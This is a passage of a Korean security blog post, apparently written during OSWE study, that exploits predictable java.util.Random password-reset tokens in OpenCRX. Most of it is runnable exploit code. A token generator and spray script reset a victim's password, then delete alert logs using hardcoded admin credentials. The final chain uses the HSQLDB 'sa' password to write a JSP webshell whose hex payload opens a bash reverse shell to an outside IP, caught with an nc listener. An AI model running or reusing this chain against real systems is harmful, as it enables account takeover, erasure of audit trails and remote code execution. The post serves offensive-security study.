Notice
Recent Posts
Recent Comments
Link
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | ||||
4 | 5 | 6 | 7 | 8 | 9 | 10 |
11 | 12 | 13 | 14 | 15 | 16 | 17 |
18 | 19 | 20 | 21 | 22 | 23 | 24 |
25 | 26 | 27 | 28 | 29 | 30 | 31 |
Tags
- 오블완
- L
- 파이썬
- 리버싱
- flask설치
- flask
- 리버스엔지니어링
- tuple
- 삼성노트동기화오류
- AQ
- NMAP
- 멀티컨트롤오류
- 플라스크
- Python
- 리버스 엔지니어링
- 플라스크 애플리케이션 팩토리
- portswigger
- set
- flask blueprint
- 삼성클라우드오류
- 클립보드간공유기능
- 숫자분리
- 포트스캐너
- 레나튜토리얼.
- pe구조
- flask 구조
- 티스토리챌린지
- 레나튜토리얼
Archives
- Today
- Total
정보보안
Random Token 생성기 (Token Spray) 본문
OSWE 공부 중에 괜찮은 아티클이 있는데 Offsec 규칙 상 교재 내용을 공개로 올릴 수 없어서, 각자 코드를 짜는 부분만 포스트 하려고 한다. (일단 올려보고 내리라고 연락오면 내림 설마 그러려나)

취약점
- Whitebox
- 현재 시간을 이용해 난수(java.util.Random)로 토큰을 생성하는 경우, 해당 토큰을 유추하여 auth bypass를 시도할 수 있음.
- password reset 부분에서 random을 사용하여 토큰을 발행하는 것을 소스코드 확인 후 악용
import java.io.BufferedWriter;
import java.io.FileWriter;
import java.io.IOException;
import java.util.ArrayList;
import java.util.List;
import java.util.Random;
import java.util.Scanner;
public class OpenCrxToken {
public static void main(String args[]) {
Scanner sc = new Scanner(System.in);
System.out.print("[*] Start Time: ");
long start = sc.nextLong();
System.out.print("[*] Stop Time: ");
long stop = sc.nextLong();
List<String> tokens = new ArrayList<>();
String token = "";
int length = 40;
for (long l = start; l < stop; l++) {
token = getRandomBase62(length, l);
tokens.add(token);
}
writeResultsToFile("tokens.txt", tokens);
System.out.println("[+] Token Saved: tokens.txt");
}
public static void writeResultsToFile(String filename, List<String> tokens) {
try (BufferedWriter writer = new BufferedWriter(new FileWriter(filename))) {
for (String token : tokens) {
writer.write(token);
writer.newLine();
}
} catch (IOException e) {
System.err.println("Error writing to file: " + e.getMessage());
}
}
public static String getRandomBase62(int length, long seed) {
String alphabet = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
String token = "";
Random random = new Random(seed);
for (int i = 0; i < length; i++) {
token = token + alphabet.charAt(random.nextInt(62));
}
return token;
}
}
공격 예시
// 토큰 생성 Request 시 타이밍 확인
$ date +%s%3N && curl -s -i -X 'POST' --data-binary 'id=guest' 'http://whatever.com:8080/RequestPasswordReset.jsp' && date +%s%3N
// 요청 시간 값
시작 시각: 1731970204684
끝난 시각: 1731970205528
tokens.txt에서 한 줄씩 불러와 password reset 요청을 보내는 자동화 스크립트 실행.
변경한 password로 로그인 성공
+) 토큰 스프레이 -> 비밀번호 변경 -> alerts 로그 삭제 자동화 코드 (주의 매우 조잡)
# OpenCRXReal.py
#!/usr/bin/python3
import subprocess
import sys
# Ensure required packages are installed
def install_packages():
try:
import jpype
import requests
from bs4 import BeautifulSoup
except ImportError:
print("[+] Installing required packages...\n")
subprocess.check_call([sys.executable, "-m", "pip", "install", "jpype1", "requests", "beautifulsoup4"])
install_packages()
import jpype
import jpype.imports
from jpype.types import *
import requests
import argparse
from bs4 import BeautifulSoup
import re
import base64
# Compile Java file and create JAR file
def compile_java():
try:
print("[+] Compiling Java file...")
subprocess.check_call(["javac", "OpenCrxToken.java"])
print("[+] Creating JAR file...")
subprocess.check_call(["jar", "cvf", "OpenCRX.jar", "OpenCrxToken.class"])
except subprocess.CalledProcessError as e:
print("[-] Failed to compile Java file or create JAR file.")
sys.exit(1)
compile_java()
def delete_alerts(encoded_credentials):
# Base URL for alerts
base_url = "http://opencrx:8080/opencrx-rest-CRX/org.opencrx.kernel.home1/provider/CRX/segment/Standard/userHome/guest/alert"
headers = {"Authorization": f"Basic {encoded_credentials}"}
# GET request to retrieve existing alerts
response = requests.get(base_url, headers=headers)
if response.status_code == 200:
# Parsing XML response to find alert identities
xml_data = response.text
soup = BeautifulSoup(xml_data, "xml")
alerts = soup.find_all("identity")
for alert in alerts:
alert_text = alert.text
print("[+] Found alert: " + alert_text)
# Extracting specific value after the last '/'
match = re.search(r"[^/]+$", alert_text)
if match:
specific_value = match.group(0)
delete_url = f"{base_url}/{specific_value}"
# Preparing DELETE request
delete_response = requests.delete(delete_url, headers=headers)
# Check DELETE request status
if delete_response.status_code in [200, 204]:
print("[+] Alert Deleted: " + specific_value)
else:
print("[-] Failed to delete alert: " + specific_value + " Status code:", delete_response.status_code)
# Retry with hardcoded admin credentials
print("[*] Retrying with admin-Root credentials...")
header = {"Authorization": "Basic YWRtaW4tUm9vdDphZG1pbi1Sb290"}
retry_response = requests.delete(delete_url, headers=header)
if retry_response.status_code in [200, 204]:
print("[+] Alert Deleted on retry: " + specific_value)
else:
print("[-] Failed to delete alert after retry: " + specific_value)
else:
print("[-] Failed to retrieve alerts. Status code:", response.status_code)
# Start JVM and run the Java class to generate tokens
jar_path = "OpenCRX.jar"
if not jpype.isJVMStarted():
jpype.startJVM(classpath=[jar_path])
OpenCRXToken = jpype.JClass("OpenCrxToken")
OpenCRXToken.main([])
jpype.shutdownJVM()
# Parse command line arguments for user and password
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--user", help="Username to target", required=True)
parser.add_argument("-p", "--password", help="Password value to set", required=True)
args = parser.parse_args()
# URL to reset the password
target = "http://opencrx:8080/opencrx-core-CRX/PasswordResetConfirm.jsp"
# Start token spray for password reset
print("[*] Starting token spray. Standby.")
with open("tokens.txt", "r") as f:
for word in f:
# Prepare payload for password reset request
payload = {
"t": word.rstrip(),
"p": "CRX",
"s": "Standard",
"id": args.user,
"password1": args.password,
"password2": args.password,
}
# Send POST request to reset password
r = requests.post(url=target, data=payload)
res = r.text
# Check if the password reset was successful
if "Unable to reset password" not in res:
print("Successful reset with token: %s" % word)
# Create encoded credentials for authentication
id = args.user
pw = args.password
credentials = f"{id}:{pw}"
encoded_credentials = base64.b64encode(credentials.encode("utf-8")).decode("utf-8")
print("[+] Encoded Credentials: " + encoded_credentials)
# Call delete_alerts function to delete alerts
delete_alerts(encoded_credentials)
break
# OpenCRX.java
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.FileWriter;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.ArrayList;
import java.util.List;
import java.util.Random;
public class OpenCrxToken {
public static void main(String args[]) {
long start = 0;
long end = 0;
try {
ProcessBuilder processBuilder = new ProcessBuilder(
"bash", "-c",
"start=$(date +%s%3N) && curl -s -o /dev/null -X 'POST' --data-binary 'id=guest' 'http://opencrx:8080/opencrx-core-CRX/RequestPasswordReset.jsp' && end=$(date +%s%3N) && echo $start $end"
);
Process process = processBuilder.start();
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
if ((line = reader.readLine()) != null) {
String[] timestamps = line.trim().split(" ");
if (timestamps.length == 2) {
start = Long.parseLong(timestamps[0]);
end = Long.parseLong(timestamps[1]);
}
}
int exitCode = process.waitFor();
System.out.println("Exit Code: " + exitCode);
System.out.println("[+] Start time: " + start + ", End time: " + end);
} catch (IOException | InterruptedException e) {
e.printStackTrace();
System.exit(1);
}
if (start != 0 && end != 0) {
List<String> tokens = new ArrayList<>();
String token = "";
int length = 40;
for (long l = start; l < end; l++) {
token = getRandomBase62(length, l);
tokens.add(token);
}
writeResultsToFile("tokens.txt", tokens);
System.out.println("[+] Token Saved: tokens.txt");
} else {
System.err.println("Error: Failed to retrieve valid start and end timestamps.");
System.exit(1);
}
}
public static void writeResultsToFile(String filename, List<String> tokens) {
try (BufferedWriter writer = new BufferedWriter(new FileWriter(filename))) {
for (String token : tokens) {
writer.write(token);
writer.newLine();
}
} catch (IOException e) {
System.err.println("Error writing to file: " + e.getMessage());
System.exit(1);
}
}
public static String getRandomBase62(int length, long seed) {
String alphabet = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
StringBuilder token = new StringBuilder();
Random random = new Random(seed);
for (int i = 0; i < length; i++) {
token.append(alphabet.charAt(random.nextInt(62)));
}
return token.toString();
}
}
최종 PoC (Auth bypass & RCE)
+) 토큰 스프레이 진행 -> 비밀번호 변경(auth bypass) -> 비밀번호 변경 시도 alerts 로그 삭제 -> hsql db login & create procedure & upload webshell(full interactive shell) -> open nc listener -> curl
import sys
import re
import base64
import argparse
import subprocess
import time
import pexpect
import requests
from bs4 import BeautifulSoup
def install_packages():
try:
import requests
from bs4 import BeautifulSoup
import argparse
import re
import base64
except ImportError:
print("[+] Installing required packages...\n")
subprocess.check_call([sys.executable, "-m", "pip", "install", "jpype1", "requests", "beautifulsoup4"])
def parse_arguments():
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--user", help="Username to target", required=True)
parser.add_argument("-p", "--password", help="Password value to set", required=True)
parser.add_argument("-i", "--ip", help="Target server IP address", required=True)
return parser.parse_args()
def get_headers(encoded_credentials):
return {"Authorization": f"Basic {encoded_credentials}"}
def delete_alerts(ip_address, encoded_credentials):
base_url = f"http://{ip_address}:8080/opencrx-rest-CRX/org.opencrx.kernel.home1/provider/CRX/segment/Standard/userHome/guest/alert"
headers = get_headers(encoded_credentials)
retries = 3
delay = 2
for attempt in range(retries):
response = requests.get(base_url, headers=headers)
if response.status_code == 200:
xml_data = response.text
soup = BeautifulSoup(xml_data, "xml")
alerts = soup.find_all("identity")
for alert in alerts:
alert_text = alert.text
# print(f"[+] Found alert: {alert_text}")
match = re.search(r"[^/]+$", alert_text)
if match:
specific_value = match.group(0)
delete_url = f"{base_url}/{specific_value}"
delete_response = requests.delete(delete_url, headers=headers)
if delete_response.status_code in [200, 204]:
print(f"[+] Alert Deleted: {specific_value}")
else:
# print(f"[-] Failed to delete alert: {specific_value} Status code: {delete_response.status_code}")
print("[*] Retrying with admin-Root credentials...")
admin_headers = {"Authorization": "Basic YWRtaW4tUm9vdDphZG1pbi1Sb290"}
retry_response = requests.delete(delete_url, headers=admin_headers)
if retry_response.status_code in [200, 204]:
print(f"[+] Alert Deleted on retry")
else:
print(f"[-] Failed to delete alert after retry: {specific_value}")
break
else:
print(f"[-] Failed to retrieve alerts. Status code: {response.status_code}. Retrying in {delay} seconds...")
time.sleep(delay)
delay *= 2
else:
print("[-] Error: Failed to retrieve alerts after multiple attempts.")
def compile_and_run_java(ip_address):
java_code = f"""
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.FileWriter;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.ArrayList;
import java.util.List;
import java.util.Random;
public class OpenCrxToken {{
public static void main(String args[]) {{
long start = 0;
long end = 0;
try {{
ProcessBuilder processBuilder = new ProcessBuilder(
"bash", "-c",
"start=$(date +%s%3N) && curl -s -o /dev/null -X 'POST' --data-binary 'id=guest' 'http://{ip_address}:8080/opencrx-core-CRX/RequestPasswordReset.jsp' && end=$(date +%s%3N) && echo $start $end"
);
Process process = processBuilder.start();
try (BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()))) {{
String line;
if ((line = reader.readLine()) != null) {{
String[] timestamps = line.trim().split(" ");
if (timestamps.length == 2) {{
start = Long.parseLong(timestamps[0]);
end = Long.parseLong(timestamps[1]);
}}
}}
}}
int exitCode = process.waitFor();
// System.out.println("Exit Code: " + exitCode);
// System.out.println("[+] Start time: " + start + ", End time: " + end);
}} catch (IOException | InterruptedException e) {{
e.printStackTrace();
System.exit(1);
}}
if (start != 0 && end != 0) {{
List<String> tokens = new ArrayList<>();
String token = "";
int length = 40;
for (long l = start; l < end; l++) {{
token = getRandomBase62(length, l);
tokens.add(token);
}}
writeResultsToFile("tokens.txt", tokens);
System.out.println("[+] Token Saved: tokens.txt");
}} else {{
System.err.println("Error: Failed to retrieve valid start and end timestamps.");
System.exit(1);
}}
}}
public static void writeResultsToFile(String filename, List<String> tokens) {{
try (BufferedWriter writer = new BufferedWriter(new FileWriter(filename))) {{
for (String token : tokens) {{
writer.write(token);
writer.newLine();
}}
}} catch (IOException e) {{
System.err.println("Error writing to file: " + e.getMessage());
System.exit(1);
}}
}}
public static String getRandomBase62(int length, long seed) {{
String alphabet = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
StringBuilder token = new StringBuilder();
Random random = new Random(seed);
for (int i = 0; i < length; i++) {{
token.append(alphabet.charAt(random.nextInt(62)));
}}
return token.toString();
}}
}}
"""
java_filename = "OpenCrxToken.java"
with open(java_filename, "w") as java_file:
java_file.write(java_code)
try:
print("[+] Compiling Java file...")
subprocess.check_call(["javac", java_filename])
print("[+] Creating JAR file...")
subprocess.check_call(["jar", "cvf", "OpenCRX.jar", "OpenCrxToken.class"])
# print("[+] Running Java code to generate tokens...")
subprocess.check_call(["java", "-cp", "OpenCRX.jar", "OpenCrxToken"])
except subprocess.CalledProcessError:
print("[-] Failed to compile or run Java code.")
sys.exit(1)
def start_token_spray(ip_address, user, password):
try:
with open("tokens.txt", "r") as f:
tokens = f.readlines()
except FileNotFoundError:
print("[-] Error: tokens.txt file not found.")
sys.exit(1)
target = f"http://{ip_address}:8080/opencrx-core-CRX/PasswordResetConfirm.jsp"
# print("[*] Starting token spray. Standby.")
for word in tokens:
word = word.strip()
payload = {
"t": word,
"p": "CRX",
"s": "Standard",
"id": user,
"password1": password,
"password2": password,
}
r = requests.post(url=target, data=payload)
res = r.text
if "Unable to reset password" not in res:
print("[+] Successful reset with token: %s" % word)
credentials = f"{user}:{password}"
encoded_credentials = base64.b64encode(credentials.encode("utf-8")).decode("utf-8")
# print("[+] Encoded Credentials: " + encoded_credentials)
delete_alerts(ip_address, encoded_credentials)
break
def create_and_call_procedure(ip_address):
try:
print("[+] Connecting to SQL and creating procedure writeBytesToFilename...")
create_procedure_command = (
"java -cp /home/jujjing/oswe_lab/opencrx/hsqldb-2.7.4/hsqldb/lib/hsqldb.jar:/home/jujjing/oswe_lab/opencrx/hsqldb-2.7.4/hsqldb/lib/sqltool.jar "
f"org.hsqldb.cmdline.SqlTool --inlineRc url=jdbc:hsqldb:hsql://{ip_address}:9001/CRX,user=sa"
)
child = pexpect.spawn(create_procedure_command, timeout=60)
child.expect("Enter password for sa:")
child.sendline("manager99")
child.expect("sql>")
print("[+] Hsql login success")
child.sendline("DROP PROCEDURE writeBytesToFilename;")
child.expect("sql>")
print("[+] Procedure dropped successfully")
create_procedure_sql = (
"CREATE PROCEDURE writeBytesToFilename(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024)) LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME 'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename';"
)
child.sendline(create_procedure_sql)
child.expect("raw>")
child.sendline(".;")
index = child.expect([r"sql>", r"raw>"])
if index in [0, 1]:
output = child.before.decode('utf-8')
if "error" not in output.lower():
print("[+] Procedure created successfully")
print("[*] Calling procedure to upload webshell...")
call_procedure_sql = (
"CALL writeBytesToFilename('../../apache-tomee-plus-7.0.5/apps/opencrx-core-CRX/opencrx-core-CRX/shell13.jsp', "
"CAST('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20726571756573742e676574506172616d657465722822636d6422293b0a202020537472696e67206f7574707574203d2022223b0a0a202020696628636d6420213d206e756c6c29207b0a202020202020537472696e672073203d206e756c6c3b0a202020202020747279207b0a20202020202020202050726f636573732070203d2052756e74696d652e67657452756e74696d6528292e6578656328222f62696e2f62617368202d632062617368247b4946537d2d69247b4946537d3e262f6465762f7463702f3139322e3136382e34352e3234362f383038303c263122293b0a2020202020202020204275666665726564526561646572207349203d206e6577204275666665726564526561646572286e657720496e70757453747265616d52656164657228702e676574496e70757453747265616d282929293b0a2020202020202020207768696c65282873203d2073492e726561644c696e6528292920213d206e756c6c29207b0a2020202020202020202020206f7574707574202b3d20733b0a2020202020202020207d0a2020202020207d0a202020202020636174636828494f457863657074696f6e206529207b0a202020202020202020652e7072696e74537461636b547261636528293b0a2020202020207d0a2020207d0a253e0a0a3c7072653e0a3c253d6f757470757420253e0a3c2f7072653e' AS VARBINARY(1024)));"
)
child.sendline(call_procedure_sql)
child.sendline(".;")
index = child.expect([r"sql>", r"raw>"])
if index in [0, 1]:
output = child.before.decode('utf-8')
if "error" not in output.lower():
print("[+] Webshell uploaded successfully")
else:
print("[-] Procedure call failed with error")
sys.exit(1)
except pexpect.exceptions.ExceptionPexpect as e:
print("[-] Failed to create or call procedure")
print(e)
print("[-] An error occurred, exiting")
sys.exit(1)
def start_netcat_listener(ip_address):
try:
print("[+] Starting netcat listener on port 8080...")
listener_command = ["nc", "-lvnp", "8080"]
listener_process = subprocess.Popen(listener_command)
print("[+] Netcat listener started, waiting for reverse shell...")
time.sleep(3)
curl_webshell(ip_address)
listener_process.wait()
except KeyboardInterrupt:
print("\n[-] Netcat listener stopped by user")
listener_process.terminate()
sys.exit(0)
def curl_webshell(ip_address):
subprocess.check_call(["curl", f"http://{ip_address}:8080/opencrx-core-CRX/shell13.jsp?cmd=id"])
if __name__ == "__main__":
install_packages()
args = parse_arguments()
ip_address = args.ip
user = args.user
password = args.password
compile_and_run_java(ip_address)
start_token_spray(ip_address, user, password)
create_and_call_procedure(ip_address)
start_netcat_listener(ip_address)